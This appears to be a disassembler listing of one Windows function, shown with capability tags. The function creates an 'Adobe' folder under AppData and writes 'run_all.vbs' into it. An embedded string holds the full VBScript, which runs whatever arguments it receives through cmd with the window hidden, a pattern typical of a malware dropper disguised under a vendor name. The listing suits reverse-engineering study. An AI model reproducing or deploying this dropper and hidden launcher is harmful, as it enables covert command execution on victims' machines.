Function at 0x3859e21a0
Capabilities:
Create directory
Get common file path

Disassembly:
push rbp
push rbx
sub rsp, 0x3c8
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1a
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
not eax
shr eax, 0x1f
test al, al
je 0x3859e23c4
lea rax, [rbp + 0x32e]
mov qword [rbp + 0x338], rax
nop
nop
lea rcx, [rbp + 0x32e]
lea rdx, [rbp + 0x1f0]
lea rax, [rbp + 0x300]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x300]
lea r8, str.Adobe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x32e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__mkdir]
call rax
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x50]
lea r8, str._run_all.vbs
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x10]
mov r8d, 0x10
mov rcx, rax
call fcn.385a70ba0
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.is_open__
test al, al
je 0x3859e230c
lea rax, [rbp + 0x32f]
mov qword [rbp + 0x330], rax
nop
nop
lea rdx, [rbp + 0x32f]
lea rax, [rbp - 0x10]
mov r8, rdx
lea rdx, str.Dim_WinScriptHost__Args_nSet_WinScriptHost__CreateObject__WScript.Shell___nSet_Args__WScript.Arguments_n_nIf_Args.Count__0_Then_n____MsgBox__Please_provide_a_command_to_run.__n____WScript.Quit_nEnd_If_n_nDim_command__arg_ncommand_____nFor_i__0_To_Args.Count___1_n____arg__Args_i__n____arg__Replace_arg______Chr_34___n____If_InStr_arg_________0_Then_n________command__command__Chr_34___arg__Chr_34_______n____Else_n________command__command__arg______n____End_If_nNext_n_ncommand__Trim_command__n_nWinScriptHost.Run__cmd__c____command__0__True_nSet_WinScriptHost__Nothing_nWScript.Quit_n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x32f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rdx, [rbp - 0x10]
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x3859e23c4
nop
add rsp, 0x3c8
pop rbx
pop rbp
ret